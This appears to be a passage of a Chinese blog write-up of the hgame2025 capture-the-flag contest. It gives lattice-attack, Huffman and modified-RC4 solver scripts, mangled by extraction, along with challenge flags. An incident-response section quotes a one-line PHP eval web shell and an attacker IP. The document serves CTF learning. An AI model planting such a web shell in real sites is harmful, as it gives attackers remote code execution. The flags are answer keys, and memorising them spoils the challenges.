from sage.modules.free_module_integer import IntegerLattice
import time
from Crypto.Cipher import AES
from hashlib import sha256
from Crypto.Util.number import *
from gmpy2 import *
# https://github.com/Neobeo/HackTM2023/blob/main/solve420.sage
def flatter(M):
from subprocess import check_output
from re import findall
M = matrix(ZZ,M)
# compile
https://github.com/keeganryan/flatter and put it in $PATH
z ='[['+']n['.join(''.join(map(str,row)) forrowin M) +']]'
ret = check_output(["flatter"],input=z.encode())
return matrix(M.nrows(), M.ncols(),map(int,findall(b'-?\d+', ret)))
def gen_hssp(n =10, m =20, Mbits =100):
M = random_prime(2^Mbits, proof =False,lbound =2^(Mbits -1))
# alpha vectors
a = vector(ZZ, n)
for i inrange(n):
a[i] = ZZ.random_element(M)
# The matrix X has m rowsand must be of rank n
while True:
X = random_matrix(GF(2), m,n).change_ring(ZZ)
if X.rank() == n: break
# Generate an instance of the HSSP: h = X*a% M
h = X * a % M
return M, a, X, h
#compute kernel space and obtain an LLL-reduced basis
def kernel_LLL(vec_mat, mod=None, verbose=False, w=None):
"""
Input :
vec_mat : m * n matrix, the m vectors are :v1,..., vm in Z^n
mod : if mod is not None, we find kernel in Zmod(mod) else in ZZ
Output :
B : matrix, an LLL-reduced basis b1,b2,...,bk such that bi * vj for all i in [1,k], j in [1,m]
"""
m, n = vec_mat.dimensions()
if mod isNone:
# if n <2*m : return vec_mat.right_kernel().matrix()
if w isNone : w=2^(n//2)*vec_mat.height()
M = block_matrix(ZZ, [w * vec_mat.T,1], ncols =2).dense_matrix()
else:
if w isNone : w =2^(ZZ(mod).nbits())
M = block_matrix(ZZ, [
[w * vec_mat.T, 1],
[w * mod, 0]
]).dense_matrix()
if verbose: print(f" [*] start to LLL reduction with dim
{M.dimensions()}")
# L = M.LLL()
t0 = time.time()
L = flatter(M)
t1 = time.time()
if verbose: print(f" [+] LLL reduction done in {t1 -t0}")
# filter orthogonal vectors
basis = []
forrowin L:
if row[:m] ==0:
# orthogonal vector
basis.append(row[m:m+n])
if verbose: print(f" [+] find {len(basis)} orthogonal vectors
for {m} {n}-dim vectors")
return matrix(ZZ, basis)
def derive_mod_bits(n):
iota=0.035
mod_bits=int(2* iota * n^2+ n *log(n,2))
return mod_bits
def ol_attack(h, m, n , M, verbose=False):
"""
HSSP : h = X * a % M
Input :
h : hssp result m-dim vector
m,n : X.dimensions()
M : the mod
Output:
the basis b1, ..., bn generating x1,...,xn
(column vectors of X)
"""
H = matrix(ZZ,h)
# we only need m - n generating basis
basis = kernel_LLL(H, mod = M,verbose=verbose)[:m - n]
# check
assert basis * H.T % M ==0, "not kernel, do check"
# the basis is orthogonal to x_i in ZZ by assumption
# try to recover the basis of xi
xi_basis = kernel_LLL(basis,verbose=verbose)
return xi_basis
def check_matrix(M, white_list = [1,0,-1]):
# check wheter allvaluesin M fall into
white_list
forrowin M:
for num inrow:
if num notin white_list:
returnFalse
returnTrue
def all_ones(v):
if len([vj for vj in v if vj in [0,1]])==len(v):
return v
if len([vj for vj in v if vj in [0,-1]])==len(v):
return-v
returnNone
def recover_binary_basis(basis):
lv = [all_ones(vi) for vi in basis if all_ones(vi)]
n = basis.nrows()
for v in lv:
for i inrange(n):
nv = all_ones(basis[i] - v)
if nv and nv notin lv:
lv.append(nv)
nv = all_ones(basis[i] + v)
if nv and nv notin lv:
lv.append(nv)
return matrix(lv)
def
find_original_basis(basis, new_basis):
n, m = basis.dimensions()
origin_lattice = IntegerLattice(basis)
origin_basis = []
forrowin new_basis:
if sum(row) == m:
continue
# seems like we cannot determine wether
1,-1 represents 1or0in this lattcie
# therefore we do some checking in the
original lattice
v = vector(ZZ, [1 if num ==1else0
for num inrow])
if v in origin_lattice:
origin_basis.append(v)
else:
v = vector(ZZ, [0 if num ==1else
1for num inrow])
assert v in origin_lattice,
"oops, something wrong"
origin_basis.append(v)
return matrix(ZZ, origin_basis)
def
recover_binary_basis_by_lattice(basis, blocksize =None):
new_lattice =2* basis
n, m = basis.dimensions()
new_lattice = new_lattice.insert_row(0, [1]
* m)
if blocksize isNone:
# new_basis = new_lattice.LLL()
new_basis = flatter(new_lattice)
else:
new_basis = new_lattice.BKZ(block_size
= blocksize)
if not check_matrix(new_basis, [1,-1]):
print("[+] fails to recover
basis")
returnNone
origin_lattice = IntegerLattice(basis)
origin_basis = []
forrowin new_basis:
if sum(row) == m:
continue
# seems like we cannot determine wether
1,-1 represents 1or0in this lattcie
# therefore we do some checking in the original lattice
v = vector(ZZ, [1 if num ==1else0
for num inrow])
if v in origin_lattice:
origin_basis.append(v)
else:
v = vector(ZZ, [0 if num ==1else1for num inrow])
assert v in origin_lattice,"oops, something wrong"
origin_basis.append(v)
return matrix(ZZ, origin_basis)
#Nguyen-Stern attack using greedy method mentioned in appendix D of
https://eprint.iacr.org/2020/461.pdf
def ns_attack_greedy(h, m, n, M, bkz =range(2,12,2), verbose=True):
t0 = time.time()
if verbose: print(f"[*] start to nsattack with greedy method")
xi_basis = ol_attack(h, m, n, M)
assert isinstance(bkz, Iterable),"give a list or iterable object as block_size para"
L = xi_basis
if verbose: print(f" [+] basis dimensions :{L.dimensions()}")
assert L.dimensions() == (n,m) ,"basis generating xi's is not fully recovered"
for bs in bkz:
if verbose: print(f" [*] start to BKZ reduction with block_size
{bs}")
L = L.BKZ(block_size = bs)
if verbose: print(f" [+] BKZ reduction with block_size {bs}
done")
if check_matrix(L,[-1,1,0]):
if verbose: print(" [+] find valid basis")
break
XT = recover_binary_basis(L)
if verbose: print(f" [+] Number of recovered xi vectors
{XT.nrows()}")
if XT.nrows() < n:
print(f" [+] not enough xi vectors recovered,
{XT.nrows()} out of {n}")
print(f" [*] trying new lattice recovery...")
XT = recover_binary_basis_by_lattice(L)
if XT.nrows() < n:
print(f"[+] failed.")
returnFalse, L
X = XT.T
# h = X * a
a = matrix(Zmod(M) ,X[:n]).inverse() *
vector(Zmod(M),h[:n])
t1 = time.time()
if verbose : print(f" [+] total time cost in {t1 - t0}")
returnTrue, a, X
# Nguyen-Stern
attack using2*Lx + E lattice method
def ns_attack_2Lx(h, m, n, M, bkz =range(2,12,2), verbose=True):
t0 = time.time()
if verbose: print(f"[*] start to ns attack with 2*Lx + E method")
xi_basis = ol_attack(h, m, n, M)
assert isinstance(bkz, Iterable),"give a list or iterable object as block_size para"
# we use the new lattice : 2* basis + [1,..., 1], the final vectors all fall into [-1, 1]
L =2* xi_basis
L = L.insert_row(0, [1] * m)
if verbose: print(f" [+] basis dimensions :{L.dimensions()}")
assert L.dimensions() == (n +1, m) ,"basis generating xi's is not fully recovered"
for bs in bkz:
if verbose: print(f" [*] start to BKZ reduction with block_size
{bs}")
L = L.BKZ(block_size = bs)
if verbose: print(f" [+] BKZ reduction with block_size {bs}
done")
if check_matrix(L,[-1,1]):
if verbose: print(" [+] find valid basis")
break
XT = find_original_basis(xi_basis, L)
if verbose: print(f" [+] Number of recovered xi vectors
{XT.nrows()}")
if XT.nrows() < n:
returnFalse, L
X = XT.T
# h = X * a
a = matrix(Zmod(M) ,X[:n]).inverse() *vector(Zmod(M),h[:n])
t1 = time.time()
if verbose : print(f" [+] total time cost in {t1 - t0}")
returnTrue, a
if
__name__ == "__main__":
n =70
m =247
#Mbits = derive_mod_bits(n)
#M, a, X, h = gen_hssp(n, m, Mbits)
h = ...
M =24727704801291912268835129736340977567569865784366882566681759917843647658060231409536848349518003784121914409876944135933654762801696486121844572452922377222301017649192408619831637530961997845860817966791811403512683444831050730277
find, recovered_a, X = ns_attack_greedy(h,m, n, M, range(2,32,4))
if find:
#print(f"[+] check {sorted(a) ==sorted(recovered_a)}")
print("sa=",recovered_a)
xs = recovered_a
A = X
#print("A =",A)
print(A.dimensions())
A = list(A.T)
print(len(A))
for i in A:
flag =''
for j in i:
flag += str(j)
flag =int(flag,2)
print(long_to_bytes(ZZ(flag)))
Flag:hgame{U_f0und_3he_5pec14l_0n3!}
04
Re
1
[hgame2025-week1] Compress dot new (哈夫曼编码)
Nu脚本,丢进AI,分析出是个huffman编码
生成树也给了,直接套哈夫曼解码就可以了
Exp:
-*- coding: utf-8 -*-
"""
Created
on Wed Feb 5 20:13:59 2025
@author:
zwhub
"""
import
json
# 霍夫曼树结构
huffman_tree
= {
"a": {
"a": {
"a": {
"a": {
"a":
{"s": 125},
"b": {
"a":
{"s": 119},
"b":
{"s": 123}
}
},
"b": {
"a":
{"s": 104},
"b":
{"s": 105}
}
},
"b": {
"a": {"s":
101},
"b": {"s":
103}
}
},
"b": {
"a": {
"a": {
"a":
{"s": 10},
"b":
{"s": 13}
},
"b": {"s":
32}
},
"b": {
"a": {"s":
115},
"b": {"s":
116}
}
}
},
"b": {
"a": {
"a": {
"a": {
"a": {
"a":
{"s": 46},
"b":
{"s": 48}
},
"b": {
"a": {
"a":
{"s": 76},
"b":
{"s": 78}
},
"b": {
"a":
{"s": 83},
"b": {
"a":
{"s": 68},
"b":
{"s": 69}
}
}
}
},
"b": {
"a": {
"a":
{"s": 44},
"b": {
"a":
{"s": 33},
"b":
{"s": 38}
}
},
"b":
{"s": 45}
}
},
"b": {
"a": {
"a":
{"s": 100},
"b": {
"a":
{"s": 98},
"b":
{"s": 99}
}
},
"b": {
"a": {
"a":
{"s": 49},
"b":
{"s": 51}
},
"b":
{"s": 97}
}
}
},
"b": {
"a": {
"a": {
"a":
{"s": 117},
"b":
{"s": 118}
},
"b": {
"a": {
"a":
{"s": 112},
"b":
{"s": 113}
},
"b":
{"s": 114}
}
},
"b": {
"a": {
"a":
{"s": 108},
"b":
{"s": 109}
},
"b": {
"a":
{"s": 110},
"b":
{"s": 111}
}
}
}
}
}
# 编码数据
encoded_data
= "00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000"
# 解码函数
def
decode_huffman(tree, encoded_data):
decoded_data = []
current_node = tree
for bit in encoded_data:
if bit == '0':
current_node =
current_node.get('a', current_node)
else:
current_node =
current_node.get('b', current_node)
if's'in current_node:
decoded_data.append(current_node['s'])
current_node = tree
return decoded_data
# 解码
decoded_bytes
= decode_huffman(huffman_tree, encoded_data)
decoded_text
= ''.join(chr(byte) for byte in decoded_bytes)
print(decoded_text)
Flag:hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}
2
[hgame2025-week1] Turtle (upx魔改,rc4魔改)
脱了以后
分析逻辑,算key,和算密文,算key就是普通的rc4,直接恢复就可以了
第二部分rc4是魔改过的
异或改成了减法,不过s盒没有什么变化,还是标准的,于是编写exp
defdecrypt(data, key):
"""RC4
algorithm"""
x = 0
box = list(range(256))
for i inrange(256):
x = (x + box[i] + ord(key[(i % len(key))])) % 256
box[i], box[x] = box[x], box[i]
print(box)
x = y = 0
#y = x
#x = 0
#y = box[x]
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr((ord(char) +
box[((box[x] + box[y]) % 256)])%128))
return ('').join(out)
#lst = [0x7D, 0x2B, 0x43, 0xA9, 0xB9, 0x6B, 0x93, 0x2D, 0x9A, 0xD0, 0x48,
0xC8, 0xEB, 0x51, 0x59, 0xE9, 0x74, 0x68, 0x8A, 0x45, 0x6B, 0xBA, 0xA7, 0x16,
0xF1, 0x10, 0x74, 0xD5, 0x41, 0x3C, 0x67, 0x7D]
cipher = 'F8D562CF43BAC223154A51102710B1CFC409FEE39F4987EA59C2073BA911C1BCFD4B57C47ED0AA0A'.decode('hex')
print decrypt(cipher,'ecg4ab6')
flag:hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}
05
IRS
1
[hgame2025-week1]Computer_cleaner (简单IRS)
<?php @eval($_POST['hgame{y0u_']);?>
对攻击者进行简单溯源
这个ip威胁情报平台找了半天信息,没找到啥有用的,结果扫了一下发现80端口开着,访问一下拿到第二部分
121.41.34.25
hav3_cleaned_th3
排查攻击者目的
继续查看日志
直接本机读一下即可
Flag:hgame{y0u_hav3_cleaned_th3_c0mput3r!}
2
[hgame2025-week2] Computer cleaner plus
发现了在.hide_command里面找到了ps,上了排查工具,也没有找到什么有价值的。
后来发现这个异常的ps文件实在太小非常不正常,于是查看一下就知道了答案。。。
Flag:hgame{B4ck_D0_oR}
06
抽奖
关注公众号回复:玄机应急响应 加入交流群
抽奖的邀请码是用于注册玄机平台(关注转发本文参与抽奖)
平台地址:
https://xj.edisec.net/ranks
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):hgame2025 writeup by zwhubuntu【文末抽奖】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论